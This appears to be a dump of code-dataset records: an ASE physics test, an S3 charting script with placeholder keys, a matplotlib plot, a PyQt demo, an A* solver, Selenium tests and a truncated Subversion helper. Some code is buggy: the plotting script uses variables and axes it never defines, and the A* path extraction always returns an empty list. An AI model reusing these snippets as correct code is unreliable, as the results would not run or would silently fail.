"usage_type": "call"}, {"api_name": "corehq.apps.reports.filters.search.SearchFilter", "line_number": 366, "usage_type": "name"}, {"api_name": "dimagi.utils.decorators.memoized.memoized", "line_number": 361, "usage_type": "name"}, {"api_name": "corehq.apps.groups.models.Group.get_case_sharing_groups", "line_number": 375, "usage_type": "call"}, {"api_name": "corehq.apps.groups.models.Group", "line_number": 375, "usage_type": "name"}, {"api_name": "dimagi.utils.decorators.memoized.memoized", "line_number": 370, "usage_type": "name"}, {"api_name": "corehq.apps.users.models.CommCareUser.get_by_user_id", "line_number": 383, "usage_type": "call"}, {"api_name": "corehq.apps.users.models.CommCareUser", "line_number": 383, "usage_type": "name"}, {"api_name": "corehq.apps.groups.models.Group.get", "line_number": 388, "usage_type": "call"}, {"api_name": "corehq.apps.groups.models.Group", "line_number": 388, "usage_type": "name"}, {"api_name": "dimagi.utils.decorators.memoized.memoized", "line_number": 380, "usage_type": "name"}, {"api_name": "corehq.apps.reports.fields.SelectOpenCloseField.slug", "line_number": 409, "usage_type": "attribute"}, {"api_name": "corehq.apps.reports.fields.SelectOpenCloseField", "line_number": 409, "usage_type": "name"}, {"api_name": "corehq.apps.reports.fields.SelectOpenCloseField.slug", "line_number": 410, "usage_type": "attribute"}, {"api_name": "corehq.apps.reports.fields.SelectOpenCloseField", "line_number": 410, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_noop", "line_number": 416, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 432, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 433, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 434, "usage_type": "call"}, {"api_name": "corehq.apps.reports.fields.SelectMobileWorkerField.get_default_text", "line_number": 434, "usage_type": "call"}, {"api_name": "corehq.apps.reports.fields.SelectMobileWorkerField", "line_number": 434, "usage_type": "name"}, {"api_name": "dimagi.utils.decorators.memoized.memoized", "line_number": 429, "usage_type": "name"}, {"api_name": "corehq.apps.reports.datatables.DataTablesHeader", "line_number": 440, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesColumn", "line_number": 441, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 441, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesColumn", "line_number": 442, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 442, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesColumn", "line_number": 443, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 443, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesColumn", "line_number": 444, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 444, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesColumn", "line_number": 445, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 445, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesColumn", "line_number": 446, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 446, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesColumn", "line_number": 447, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 447, "usage_type": "call"}, {"api_name": "couchdbkit.resource.RequestFailed", "line_number": 469, "usage_type": "name"}, {"api_name": "dimagi.utils.timezones.utils.adjust_datetime_to_timezone", "line_number": 473, "usage_type": "call"}, {"api_name": "dimagi.utils.timezones.utils", "line_number": 473, "usage_type": "name"}, {"api_name": "pytz.utc", "line_number": 474, "usage_type": "attribute"}, {"api_name": "corehq.apps.reports.standard.ProjectReport", "line_number": 477, "usage_type": "name"}, {"api_name": "corehq.apps.reports.standard.ProjectReportParametersMixin", "line_number": 477, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_noop", "line_number": 528, "usage_type": "call"}, {"api_name": "dimagi.utils.couch.database.get_db", "line_number": 542, "usage_type": "call"}, {"api_name": "dimagi.utils.decorators.memoized.memoized", "line_number": 539, "usage_type": "name"}, {"api_name": "django.conf.settings.GMAPS_API_KEY", "line_number": 556, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 556, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 557, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 558, "usage_type": "call"}]} +{"seq_id": "28601121", "text": "import numpy as np\nfrom ase.build import bulk\nfrom ase import units\nfrom ase.md.velocitydistribution import MaxwellBoltzmannDistribution\nfrom ase.calculators.harmonic import SpringCalculator\nfrom ase.md.switch_langevin import SwitchLangevin\n\n\n# params\nsize = 6\nT = 300\nn_steps = 500\nk1 = 2.0\nk2 = 4.0\ndt = 10\n\n# for reproducibility\nnp.random.seed(42)\n\n# setup atoms and calculators\natoms = bulk('Al').repeat(size)\ncalc1 = SpringCalculator(atoms.positions, k1)\ncalc2 = SpringCalculator(atoms.positions, k2)\n\n# theoretical diff\nn_atoms = len(atoms)\ncalc1.atoms = atoms\ncalc2.atoms = atoms\nF1 = calc1.get_free_energy(T) / n_atoms\nF2 = calc2.get_free_energy(T) / n_atoms\ndF_theory = F2 - F1\n\n# switch_forward\ndyn_forward = SwitchLangevin(atoms, calc1, calc2, dt * units.fs, T * units.kB, 0.01, n_steps, n_steps)\nMaxwellBoltzmannDistribution(atoms, 2 * T * units.kB)\ndyn_forward.run()\ndF_forward = dyn_forward.get_free_energy_difference() / len(atoms)\n\n# switch_backwards\ndyn_backward = SwitchLangevin(atoms, calc2, calc1, dt * units.fs, T * units.kB, 0.01, n_steps, n_steps)\nMaxwellBoltzmannDistribution(atoms, 2 * T * units.kB)\ndyn_backward.run()\ndF_backward = -dyn_backward.get_free_energy_difference() / len(atoms)\n\n# summary\ndF_switch = (dF_forward + dF_backward) / 2.0\nerror = dF_switch - dF_theory\n\n# print('delta_F analytical: {:12.6f} eV/atom'.format(dF_theory))\n# print('delta_F forward: {:12.6f} eV/atom'.format(dF_forward))\n# print('delta_F backward: {:12.6f} eV/atom'.format(dF_backward))\n# print('delta_F average: {:12.6f} eV/atom'.format(dF_switch))\n# print('delta_F error: {:12.6f} eV/atom'.format(error))\nassert abs(error) < 1e-3\n", "sub_path": "test/langevin_switching.py", "file_name": "langevin_switching.py", "file_ext": "py", "file_size_in_byte": 1655, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "numpy.random.seed", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 18, "usage_type": "attribute"}, {"api_name": "ase.build.bulk", "line_number": 21, "usage_type": "call"}, {"api_name": "ase.calculators.harmonic.SpringCalculator", "line_number": 22, "usage_type": "call"}, {"api_name": "ase.calculators.harmonic.SpringCalculator", "line_number": 23, "usage_type": "call"}, {"api_name": "ase.md.switch_langevin.SwitchLangevin", "line_number": 34, "usage_type": "call"}, {"api_name": "ase.units.fs", "line_number": 34, "usage_type": "attribute"}, {"api_name": "ase.units", "line_number": 34, "usage_type": "name"}, {"api_name": "ase.units.kB", "line_number": 34, "usage_type": "attribute"}, {"api_name": "ase.md.velocitydistribution.MaxwellBoltzmannDistribution", "line_number": 35, "usage_type": "call"}, {"api_name": "ase.units.kB", "line_number": 35, "usage_type": "attribute"}, {"api_name": "ase.units", "line_number": 35, "usage_type": "name"}, {"api_name": "ase.md.switch_langevin.SwitchLangevin", "line_number": 40, "usage_type": "call"}, {"api_name": "ase.units.fs", "line_number": 40, "usage_type": "attribute"}, {"api_name": "ase.units", "line_number": 40, "usage_type": "name"}, {"api_name": "ase.units.kB", "line_number": 40, "usage_type": "attribute"}, {"api_name": "ase.md.velocitydistribution.MaxwellBoltzmannDistribution", "line_number": 41, "usage_type": "call"}, {"api_name": "ase.units.kB", "line_number": 41, "usage_type": "attribute"}, {"api_name": "ase.units", "line_number": 41, "usage_type": "name"}]} +{"seq_id": "373475390", "text": "#! /usr/bin/python\nimport pygal\nimport string\nfrom boto.s3.connection import S3Connection\n\nsent_def_pos = 0\nsent_def_neg = 0\nsent_movie_pos = 0\nsent_movie_neg = 0\nAWS_KEY = 'KEY'\nAWS_SECRET = 'SECRET'\n\ndef traverse_data(data):\n\tout = 0\n\tfor item in data:\n\t\tif item.find(\"positive\") != -1:\n\t\t\tout = map(string.strip, filter(None, item.split(\"\\t\")))\n\t\t\t\n\t\telif item.find(\"negative\") != -1:\n\t\t\tout = map(string.strip, filter(None, item.split(\"\\t\")))\n\treturn out\n\ndef parse_default(str):\n\tglobal sent_def_pos\n\tglobal sent_def_neg\n\n\tdata = str.split(' ')\n\tout = traverse_data(data)\n\tif out == 0:\n\t\treturn\n\tif out[0].find('positive') != -1:\n\t\tsent_def_pos = int(out[1])\n\telif out[0].find('negative') != -1:\n\t\tsent_def_neg = int(out[1])\n\ndef parse_movie(str):\n\tglobal sent_movie_pos\n\tglobal sent_movie_neg\n\n\tdata = str.split(' ')\n\tout = traverse_data(data)\n\tif out[0].find('positive') != -1:\n\t\tsent_movie_pos = int(out[1])\n\telif out[0].find('negative') != -1:\n\t\tsent_movie_neg = int(out[1])\n\n# Get the s3 buckets that contain the output file\ndef crawl_s3_data(): \n\taws_connection = S3Connection(AWS_KEY, AWS_SECRET)\n\tbucket = aws_connection.get_bucket('mysentimentjob-sl3774')\n\tfor key in bucket.list():\n\t\tif (key.name.find(\"output_mov1\") != -1) and (key.size > 0):\n\t\t\tstr = key.get_contents_as_string()\n\t\t\tparse_movie(str)\n\t\telif (key.name.find(\"output_mov_0\") != -1) and (key.size > 0):\n\t\t\tstr = key.get_contents_as_string()\n\t\t\tparse_default(str)\n\n# Gen graph for keyword movie\ndef gen_graph():\n\tcrawl_s3_data()\n\tbar_chart = pygal.Bar()\n\tbar_chart.title = 'Sentiment Trend of 2015/05/14, keyword: movie'\n\tbar_chart.x_labels = [\"Default\", \"Movie Group\"] \n\tbar_chart.add('Negative', [sent_def_neg, sent_movie_neg])\n\tbar_chart.add('Positive', [sent_def_pos, sent_movie_pos])\n\tbar_chart.render_to_file('trend.svg')\n\nif __name__ == '__main__':\n\tgen_graph()\n", "sub_path": "gen_svg.py", "file_name": "gen_svg.py", "file_ext": "py", "file_size_in_byte": 1849, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "string.strip", "line_number": 17, "usage_type": "attribute"}, {"api_name": "string.strip", "line_number": 20, "usage_type": "attribute"}, {"api_name": "boto.s3.connection.S3Connection", "line_number": 49, "usage_type": "call"}, {"api_name": "pygal.Bar", "line_number": 62, "usage_type": "call"}]} +{"seq_id": "315887159", "text": "import random\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib import style\n\nimport numpy as np\nimport matplotlib.patches as mpatches\n\n\n\nwidth = 0.35 # the width of the bars\n\nmy_xticks = ['0.0625',\n'0.125',\n'0.25',\n'0.375',\n'0.5',\n'0.75',\n'1',\n'1.25',\n'1.75',\n'2',\n'3',\n'4',\n'6',\n'8'\n]\n\n\nfig = plt.figure()\nax = fig.add_subplot(121)\nax1 = fig.add_subplot(122)\n\n\n#fig = plt.gcf()\n#fig.set_size_inches(5.5, 3.5)\n\n#fig_size = plt.rcParams[\"figure.figsize\"]\n\n#fig_size[0] = 6\n#fig_size[1] = 6\n\n\n#rects1 = ax.bar(x, stand_alone, width, label='Stand Alone')\n#rects1 = ax.bar(x - width/2, stand_alone, width, color='cornflowerblue')\nrects1 = ax.bar(x - width/2, stand_alone, width)\n#rects1 = ax.bar(x - width/2, stand_alone, width, label='Stand Alone')\n#rects2 = ax.bar(x, collocated, width, label='Collocated')\nrects2 = ax.bar(x + width/2, collocated, width)\n#rects2 = ax.bar(x + width/2, collocated, width, color='orange')\n#rects2 = ax.bar(x + width/2, collocated, width, label='Collocated')\n\n# Add some text for labels, title and custom x-axis tick labels, etc.\nax.set_ylabel('Watt', fontsize=12)\n#ax.set_title('Memory Contention impact on Average Power', fontsize=16)\nax.set_title('Power', fontsize=16)\nax.set_xticks(x)\nax.set_ylim([4.00,11.00])\nax.set_xticklabels(labels, fontsize=12)\n#ax.legend(loc=1, bbox_to_anchor=(0.5, 0., 0.5, 0.99))\n\n#autolabel(rects1)\n#autolabel(rects2)\n\nax.set_xticks(np.arange(14), my_xticks, rotation='vertical')\n\n#plt.xticks(rotation=45)\n#plt.plot(data)\n\nplt.title('GPU vs CPU: Energy(mWatt-uSec)/flop comparison')\nplt.ylabel('mWatt-uSec/Flop(log)')\nplt.xlabel('Operational Intensity')\nplt.yscale('log')\nplt.legend(loc='lower center')\nplt.legend(['GPU', 'CPU'])\nplt.tight_layout()\n\n\n\n\n\nlabels = ['GPU', 'CPU']\nstand_alone = [6.316, 10.702]\ncollocated = [17.416, 17.416]\n\nx = np.arange(len(labels)) # the label locations\n#y = np.arange(len(labels)) # the label locations\n \nwidth = 0.35 # the width of the bars\n\n#rects1 = ax.bar(x, stand_alone, width, label='Stand Alone') \nrects1 = ax1.bar(x - width/2, stand_alone, width)\n#rects1 = ax1.bar(x - width/2, stand_alone, width, label='Stand Alone')\n#rects2 = ax.bar(x, collocated, width, label='Collocated')\nrects2 = ax1.bar(x + width/2, collocated, width)\n#rects2 = ax1.bar(x + width/2, collocated, width, label='Collocated')\n\n# Add some text for labels, title and custom x-axis tick labels, etc.\nax1.set_ylabel('Second', fontsize=12)\nax1.set_title('Time', fontsize=16)\nax1.set_xticks(x)\nax1.set_yticks(np.arange(0, 20, 2))\n#ax1.set_ylim([0,2.0])\nax1.set_xticklabels(labels, fontsize=12)\n#ax1.legend(loc=1, bbox_to_anchor=(0.5, 0., 0.5, 0.99))\n\ndef autolabel(rects):\n \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n for rect in rects:\n height = rect.get_height()\n ax.annotate('{}'.format(height),\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, 3), # 3 points vertical offset textcoords=\"offset points\",\n ha='center', va='bottom')\n\n\n#autolabel(rects1)\n#autolabel(rects2)\n\n\nlabels = ['GPU', 'CPU']\nstand_alone = [1.133433, 2.076453]\ncollocated = [1.877243, 3.570875]\n\nx = np.arange(len(labels)) # the label locations\n#y = np.arange(len(labels)) # the label locations\n \nwidth = 0.35 # the width of the bars\n\n#rects1 = ax.bar(x, stand_alone, width, label='Stand Alone') \n#rects1 = ax2.bar(x - width/2, stand_alone, width)\nrects1 = ax2.bar(x - width/2, stand_alone, width, label='Stand Alone')\n#rects2 = ax.bar(x, collocated, width, label='Collocated')\n#rects2 = ax2.bar(x + width/2, collocated, width)\nrects2 = ax2.bar(x + width/2, collocated, width, label='Collocated')\n\n# Add some text for labels, title and custom x-axis tick labels, etc.\nax2.set_ylabel('Watt-Second', fontsize=12)\nax2.set_title('Energy', fontsize=16)\nax2.set_xticks(x)\nax2.set_yticks(np.arange(0, 6, 1))\n#ax2.set_ylim([0,4.500000])\nax2.set_xticklabels(labels, fontsize=12)\n#red_patch = mpatches.Patch(color='red', label='The red data')\n#plt.legend(handles=[red_patch])\nax2.legend(loc=1, bbox_to_anchor=(0.5, 0., 0.5, 0.99), facecolor='lightgrey', framealpha=1 )\n\ndef autolabel(rects):\n \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n for rect in rects:\n height = rect.get_height()\n ax.annotate('{}'.format(height),\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, 3), # 3 points vertical offset textcoords=\"offset points\",\n ha='center', va='bottom')\n\n\n#autolabel(rects1)\n#autolabel(rects2)\n\nfig.subplots_adjust(wspace=.5)\n\n\n#ax1 = fig.add_subplot(121)\n#ax2 = fig.add_subplot(122)\n\n#x,y = create_plots()\n#ax1.plot(x,y)\n\n#x,y = create_plots()\n#ax2.plot(x,y)\n\n#x,y = create_plots()\n#ax3.plot(x,y)\n\n\nplt.show()\nfig.savefig('stream_combined.png', dpi=100)\n", "sub_path": "python_plot/placement/combined_subplot.py", "file_name": "combined_subplot.py", "file_ext": "py", "file_size_in_byte": 4866, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}]} +{"seq_id": "426916947", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nZetCode PyQt5 tutorial\n\nIn this example, we determine the event sender\nobject.\n\nAuthor: Jan Bodnar\nWebsite: zetcode.com\nLast edited: August 2017\n\"\"\"\n\nimport sys\nfrom PyQt5.QtWidgets import QMainWindow\nfrom PyQt5.QtWidgets import QApplication, QDialog, QToolTip, QPushButton, QWidget, QInputDialog, QLineEdit, QFileDialog\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtGui import QFont\nfrom PyQt5 import QtCore\nimport xlrd\nimport xlwt\n\nclass Example(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.initUI()\n\n\n def initUI(self):\n\n btn1 = QPushButton(\"Button 1\", self)\n btn1.move(30, 50)\n\n btn2 = QPushButton(\"Button 2\", self)\n btn2.move(150, 50)\n\n btn1.clicked.connect(self.buttonClicked)\n btn2.clicked.connect(self.buttonClicked)\n\n self.statusBar()\n\n self.setGeometry(300, 300, 290, 150)\n self.setWindowTitle('Event sender')\n self.show()\n\n\n #def buttonClicked(self):\n # sender = self.sender()\n # self.statusBar().showMessage(sender.text() + ' was pressed')\n\n def buttonClicked(self):\n sender = self.sender()\n options = QFileDialog.Options()\n options |= QFileDialog.DontUseNativeDialog\n #fil = QFileDialog.setNameFilter(\"Excel Sheets (*.csv *.xml *.xlsx);;Images (*.png *.jpg *.jpeg);; Python Files (*.py)\")\n #print(\"options = %s\" %(options))\n print(\"I am inside openFileNameDialog\")\n fileName, NameFilter = QFileDialog.getOpenFileName(self,\"Open the File\", \"\",\"All Files (*);;Python Files (*.py)\", options=options)\n #print(\"filename = %s\" %fileName)\n if fileName:\n print(\"I Will Baby. I Will. %s\" %fileName)\n\n\nif __name__ == '__main__':\n\n app = QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())\n", "sub_path": "GUI_dev/eventsource.py", "file_name": "eventsource.py", "file_ext": "py", "file_size_in_byte": 1860, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 24, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 33, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 36, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.Options", "line_number": 55, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 55, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.DontUseNativeDialog", "line_number": 56, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 56, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 60, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 60, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 68, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 68, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 70, "usage_type": "call"}]} +{"seq_id": "484066776", "text": "import helper as hlp\nfrom collections import defaultdict\nimport heapq as h\n\nclass AStar:\n\n def __init__(self):\n self._animate_visited = []\n\n def solve(self, grid, start, goal):\n visited = set()\n prev = dict()\n dist = defaultdict(lambda : float('inf'))\n pq = []\n\n prev[start] = None\n dist[start] = 0\n\n # Need to put (cost, pos) into priority queue so that pq is ordered by cost\n h.heappush(pq, (0, start))\n\n while len(pq) != 0:\n\n current_cost, current_pos = h.heappop(pq)\n\n self._animate_visited.append(current_pos)\n\n # Check we havent visited this point before\n if current_pos not in visited:\n visited.add(current_pos)\n else:\n continue\n \n # If we have reached the end get the path\n if current_pos == goal:\n return self.get_path(prev, goal)\n\n # print(pq)\n\n for nbr in hlp.nhood8(grid, *current_pos):\n new_cost = dist[current_pos] + hlp.distance(current_pos, nbr)\n heuristic = hlp.distance(nbr, goal)\n\n # If we havent visited\n if nbr not in visited:\n\n if new_cost < dist[nbr]:\n dist[nbr] = new_cost\n prev[nbr] = current_pos\n\n h.heappush(pq, (dist[nbr] + heuristic, nbr))\n\n def get_path(self, prev, goal):\n \n self.path = []\n\n current_pos = goal\n \n # Extract path from goal to start (start is the only item that has none associated with it in prev)\n while prev[current_pos] != None:\n current_pos = prev[current_pos]\n self.path.append(current_pos)\n\n # Return path reveresed and remove start node\n return self.path[:-1:-1]\n\n def animate(self, grid, cells_at_once=50):\n\n # Remove start and end points\n grid.animate(self._animate_visited[1:-1], self.path, cells_at_once)\n\n\n \n\n\n", "sub_path": "astar.py", "file_name": "astar.py", "file_ext": "py", "file_size_in_byte": 2065, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "collections.defaultdict", "line_number": 13, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 20, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 24, "usage_type": "call"}, {"api_name": "helper.nhood8", "line_number": 40, "usage_type": "call"}, {"api_name": "helper.distance", "line_number": 41, "usage_type": "call"}, {"api_name": "helper.distance", "line_number": 42, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 51, "usage_type": "call"}]} +{"seq_id": "138495460", "text": "\"\"\"\nAdd couple selenium tests\n1. Submit filled test form \nhttps://demoqa.com/text-box\n2. Click on [Code in it] button after selecting new Category \nhttps://testpages.herokuapp.com/styled/basic-ajax-test.html\n3. Print all text in Lorem/Ipsum/Dolor columns \nhttps://the-internet.herokuapp.com/challenging_dom#delete\n\"\"\"\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\n\nTEST_DATA = {\n 'Full Name': 'Alexey Kurbetyev',\n 'Email': 'alextestemail@gmail.com',\n 'Current Adress': 'Kharkiv'\n}\nurl1 = 'https://demoqa.com/text-box'\nurl2 = 'https://testpages.herokuapp.com/styled/basic-ajax-test.html'\nurl3 = 'https://the-internet.herokuapp.com/challenging_dom#delete'\n\ndriver = webdriver.Chrome()\ndriver.get(url1)\ntime.sleep(2)\ndriver.find_element(By.CSS_SELECTOR, \"#userName\").send_keys(TEST_DATA['Full Name'])\ndriver.find_element(By.CSS_SELECTOR, \"#userEmail\").send_keys(TEST_DATA['Email'])\ndriver.find_element(By.CSS_SELECTOR, \"#currentAddress\").send_keys(TEST_DATA['Current Adress'])\ndriver.find_element(By.CSS_SELECTOR, \"#permanentAddress\").send_keys(TEST_DATA['Current Adress'])\ndriver.find_element(By.CSS_SELECTOR, \"#submit\").click()\ndriver.quit()\ntime.sleep(4)\n\ndriver = webdriver.Chrome()\ndriver.get(url2)\ntime.sleep(2)\ndriver.find_element(By.CSS_SELECTOR, \"#combo1\").click()\ndriver.find_element(By.CSS_SELECTOR, \"#combo1 > option:nth-child(2)\").click()\ndriver.find_element(By.CSS_SELECTOR, \".styled-click-button\").click()\nassert 'Processed Form Details' in driver.page_source\ndriver.quit()\ntime.sleep(4)\n\ndriver = webdriver.Chrome()\ndriver.get(url3)\ntable = driver.find_elements(By.CSS_SELECTOR,'tbody tr')\nfor rows in table:\n print(rows.find_element(By.CSS_SELECTOR,'td:nth-child(1)').text)\n\nfor rows in table:\n print(rows.find_element(By.CSS_SELECTOR,'td:nth-child(2)').text)\n\nfor rows in table:\n print(rows.find_element(By.CSS_SELECTOR,'td:nth-child(3)').text)\ndriver.quit()\n\n", "sub_path": "selenium_selectors.py", "file_name": "selenium_selectors.py", "file_ext": "py", "file_size_in_byte": 1935, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 24, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 24, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 27, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 27, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 28, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 28, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 29, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 29, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 30, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 30, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 31, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 31, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 33, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 35, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 35, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 37, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 38, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 38, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 39, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 39, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 40, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 40, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 43, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 45, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 45, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 47, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 47, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 49, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 49, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 52, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 52, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 55, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 55, "usage_type": "name"}]} +{"seq_id": "64790845", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Subversion object for vcspull.\n\nvcspull.repo.svn\n~~~~~~~~~~~~~~~~\n\nThe follow are from saltstack/salt (Apache license):\n\n- :py:meth:`SubversionRepo.get_revision_file`\n\nThe following are pypa/pip (MIT license):\n\n- :py:meth:`SubversionRepo.get_url_rev`\n- :py:meth:`SubversionRepo.get_url`\n- :py:meth:`SubversionRepo.get_revision`\n- :py:meth:`~.get_rev_options`\n\n\"\"\"\nfrom __future__ import absolute_import, division, print_function, \\\n with_statement, unicode_literals\n\nimport os\nimport re\nimport logging\nimport subprocess\n\nfrom ..util import run\nfrom .._compat import urlparse\nfrom .base import BaseRepo\n\nlogger = logging.getLogger(__name__)\n\n\nclass SubversionRepo(BaseRepo):\n vcs = 'svn'\n\n schemes = ('svn')\n\n def __init__(self, url, **kwargs):\n BaseRepo.__init__(self, url, **kwargs)\n\n def obtain(self, quiet=None):\n self.check_destination()\n\n url, rev = self.get_url_rev()\n rev_options = get_rev_options(url, rev)\n\n process = self.run(\n ['svn', 'checkout', '-q', url, self['path']],\n 